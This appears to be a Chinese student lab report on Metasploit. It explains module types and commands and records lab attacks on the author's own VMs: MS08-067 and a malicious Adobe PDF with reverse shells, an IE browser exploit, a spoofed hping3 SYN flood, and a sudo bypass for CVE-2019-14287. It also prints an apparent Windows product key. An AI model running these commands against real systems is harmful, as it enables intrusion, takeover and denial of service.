Exp6 MSF应用基础
一、问题回答
Ⅰ.基础知识
Exploit
模块
- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
Payload
模块是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
- Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- Stages:利用 stager 建立的连接下载的后续payload
Encoder
模块
- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征- 不改变
payload
作用,但能对payload
进行加工
Aux
模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
Nops
模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
Ⅱ.msf核心命令
banner 显示一个很棒的metasploit横幅
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep 管道另一个命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复命令列表
route 通过会话路由流量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为值
setg 将全局变量设置为值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
Ⅲ.其他知识
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
二、主动攻击实践
Ⅰ. ms08_067+shell_reverse_tcp
系统 | ip | |
---|---|---|
靶机 | win server 2000 with SP4 | 192.168.31.58 |
攻击机 | kali2021.1 | 192.168.31.28 |
Ⅱ.虚拟机配置
H6TWQ-TQQM8-HXJYG-D69F7-R84VM
其他的步骤都直接下一步就行
按不了Ctrl-Alt-Del,可以直接通过virtualbox上的热键来实现
win+R:regdit
通过
netstat -an
查看到445端口(好像没啥用)
通过
nmap -p 445 192.168.31.58
也可以
Ⅲ.相互ping通
Ⅳ.开始攻击
use exploit/windows/smb/ms08c_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
set RHOST 192.168.31.58
set target 0
exploit
Ⅴ.445端口未打开
通过在注册表
HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Services \ NetBT \ Parameters
位置新建DWORDSMBDeviceEnabled
参数值为1并重启解决(设置成``SMBDevice`也可以)完成设置后记得重启
三、针对浏览器的攻击
Ⅰ.ms10_018+bind_tcp
系统 | ip | |
---|---|---|
靶机 | winXP Professional with SP3 | 192.168.31.13 |
攻击机 | kali2021.1 | 192.168.31.28 |
Ⅱ.相互ping通
Ⅲ.攻击
记得先关掉防火墙
use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.31.13
set target 0
exploit
重新exploit一次,上一个好像超时了
http://192.168.31.28:8080/5orBYKJ35m
将这个IP在靶机(XP)中打开
sessions -l
session -i (出现的会话ID)
getuid
四、针对客户端的攻击
Ⅰ.相互ping通
XP不知道为什么崩掉了,增强功能直接没了,所以恢复了一下快照,IP地址发生了一点点变化
系统 | ip | |
---|---|---|
靶机 | winXP Professional with SP3 | 192.168.31.31 |
攻击机 | kali2021.1 | 192.168.31.28 |
[Adobe Reader历史版本安装包下载_counsellor的专栏-CSDN博客](https://blog.csdn.net/counsellor/article/details/84774181?ops_request_misc=&request_id=&biz_id=102&utm_term=adobe reader 9.3&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-2-84774181.pc_search_result_before_js)Adobe9.3.4或者9.3可以参考这篇博客,或者下载Adobe9.3.4链接,提取码:NMSL
Ⅱ.在kali中产生攻击文件20181204.pdf
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
set FILENAME 20181204.pdf
set target 0
exploit
根据提示到对应目录找到文件,记得sudo或者切换为root用户
cd /root/.msf4/local
mv 20181204.pdf /mnt
.msf4是隐藏文件,好像不能显示打开
光速被删除,要先关掉windowsdefender,再把文件放到winXP中
Ⅲ.攻击
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
exploit
同时在XP中打开PDF即可成功反弹连接
五、应用一个辅助模块
Ⅰ.相互ping通
系统 | ip | |
---|---|---|
靶机 | winXP Professional with SP3 | 192.168.31.31 |
攻击机 | kali2021.1 | 192.168.31.28 |
相同的机器就不演示了
Ⅱ.未受攻击的CPU状态
普通状态下的CPU使用率
Ⅲ.攻击
hping3 -q -n -a 1.2.0.4 -S -s 1204 --keep -p 445 --flood 192.168.31.31
1.2.0.4是伪造的源IP,1204是伪造的源端口,445是攻击通过的端口,192.168.31.31是目的IP
使用这种攻击攻击靶机的80端口,虽然CPU负载达到了100%,但是并不影响靶机的http访问(不太懂为什么)
六、CVE-2019-14287(唯一)
在Sudo 1.8.28之前的版本中,有权访问Runas ALL sudoer帐户的攻击者可以绕过某些策略黑名单和会话PAM模块,并且可以通过使用特制的用户ID调用Sudo来导致不正确的日志记录。例如,这允许绕过:“sudo-u#$((0xffffffff))”命令。
Ⅰ.安装docker
sudo apt-get install docker.io
Ⅱ.创建攻击环境
1.创建并连接靶机
systemctl start docker //创建环境
docker search CVE-2019-1428
docker pull cmnatic/cve-2019-14287-demo
sudo docker run -itd cmnatic/cve-2019-14287-demo /bin/bash
docker ps -a
sudo docker attach 462b093ae4fc
2.改善环境
apt-get update
apt-get install vim
Ⅲ.攻击漏洞
1.创建新用户test
useradd test
passwd test
2.修改sudo配置文件
chmod +w /etc/sudoers
vim /etc/sudoers
chmod -w /etc/sudoers
3.测试漏洞
su test
cat /etc/sudoers
sudo -u#-1 cat /etc/sudoers
4.关闭环境
先停止再删除
docker stop $(docker ps -q)
docker rm $(docker ps -aq)
七、问题回答
exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程(开启监听?)。
payload:攻击者在目标系统上执行的一段攻击代码。
encode:为了减少或者避免使攻击载荷不能完整运行的“坏字符”和改变特征码,帮助攻击载荷避免被杀软发现。
离实战还欠缺一些基础知识,攻击漏洞的时候总是在一些奇怪的环节上卡住,需要进一步增强基础知识的学习
实践总结与体会
通过本次实验我对漏洞的发现、攻击、防范有了更深的理解,对不同的虚拟机安装有了更深的理解,会使用docker来简化安装配置环境的过程,学会了从网上搜集漏洞并学习网站,可以通过别人的博客学习,可以通过阅读帮助文档学习。